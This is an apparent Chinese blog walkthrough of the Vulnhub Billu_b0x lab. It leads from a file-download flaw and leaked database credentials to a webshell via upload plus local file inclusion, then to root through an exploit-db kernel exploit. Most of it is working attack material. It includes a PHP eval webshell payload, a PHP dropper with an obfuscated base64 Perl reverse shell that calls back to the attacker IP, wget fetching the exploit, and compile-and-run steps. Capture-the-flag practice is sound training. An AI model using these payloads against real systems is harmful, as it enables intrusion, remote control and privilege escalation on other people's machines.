Billu_b0x内网渗透-vulnhub
个人博客:点我
本次来试玩一下vulnhub上的Billu_b0x,只有一个flag,下载地址。
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
IP
Billu_b0x:192.168.31.190
Kali: 192.168.31.17
Win7: 192.168.31.168
信息搜集
端口扫描发现开放了80和22端口
nmap -sV -A -p- 192.168.31.190
御剑扫描发现有add.php
c
in
phpmy
test.php
panel.php
等
首页是一个登录窗口,并且提示我们“展现我们sqllabs技巧的时候到了”,明显是sql注入。add.php似乎是一个文件上传,in是phpinfo,phpmy是数据库phpmyadmin的后台管理,test.php似乎是一个file传参的文件包含,panel.php重定向到首页。
渗透过程
常规的还是首页sql注入尝试一下。但手注注不出来,不管什么错误都是报try again。丢进sqlmap不知道什么被过滤了,跑不出注入点,看来这个sql注入是行不通了。
再看一下test.php文件包含,POST先包含一下test.php,直接把文件下了下来,看一下源码并不是文件包含,而是通过一个file_download函数下载。
因此把能下载的文件全都下载下来看一遍。最后在c中发现存在连接数据库的账户密码。
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
phpmy直接登录上去即可进入。
有一种比较骚的做法是直接尝试下载phpmyadmin的默认配置文件,/var/www/phpmy/config.inc.php,下载下来直接就发现有root和roottoor密码,ssh连上去就已经是root用户了,整题就结束了。但这样就太不好玩了,我们还是尝试寻常的办法。
在ica表的auth列中找到后台登录账户和密码,
登录index.php进入panel.php。是一个添加用户和显示用户的界面,先上传一个正常的用户,可以显示出来,右键图片能直接看到上传路径为uploaded_images/,文件名也没有修改。随后上传一个图片码sqzr.jpg,过滤了后缀、文件类型、文件头,利用目录遍历直接访问192.168.31.190/uploaded_images能看到上传成功。
后来在找哪里存在文件包含,test.php显然已经不是了,最终在panel.php中找到
include($dir.'/'.$_POST['load']);
语法是包含当前目录下的load传参,前面的$dir.’/'相当于没有。那么直接页面刷新抓包修改load,
load=uploaded_images/sqzr.jpg&continue=continue&sqzr=phpinfo();
成功显示phpinfo();
但是此时蚁剑不知道为什么不能直接连接,因此利用sqzr先写入一个shell.php,然后直接连接这个文件。(写入时注意$前需要\转义)
load=uploaded_images/sqzr.jpg&continue=continue&sqzr=system("echo '<?php eval(\$_POST[x]);?>' > uploaded_images/shell.php");
提权
进入后先查看版本,是ubuntu 12.04,查找一下漏洞库,有很多漏洞可以利用。我这里使用37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/37292.c
然后下载到靶机
cd ~
python -m SimpleHTTPServer 80
wget http://192.168.31.17/37292.c
这里利用蚁剑中的虚拟终端似乎不能提权成功,我还是喜欢使用反弹shell。
蚁剑在uploaded_images中写入shell2.php,源码如下(注意修改):
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = '192.168.31.17'; #修改为你的攻击机ip
$yourport = '7890'; #修改为你的攻击机的监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
kali监听
nc -lvp 4444
然后访问192.168.31.190/uploaded_images/shell2.php就能上线了。
建立虚拟终端
python -c 'import pty;pty.spawn("/bin/bash");'
然后编译执行那个提权文件就可以了。
gcc -pthread 37292.c -o crack -lcrypt
./crack
此时已经提权成功了。
总结
这个靶场的入手点有很多,包含的元素也很多,文件包含
文件上传
漏洞利用
sql注入
数据库配置
等等,有一定综合性。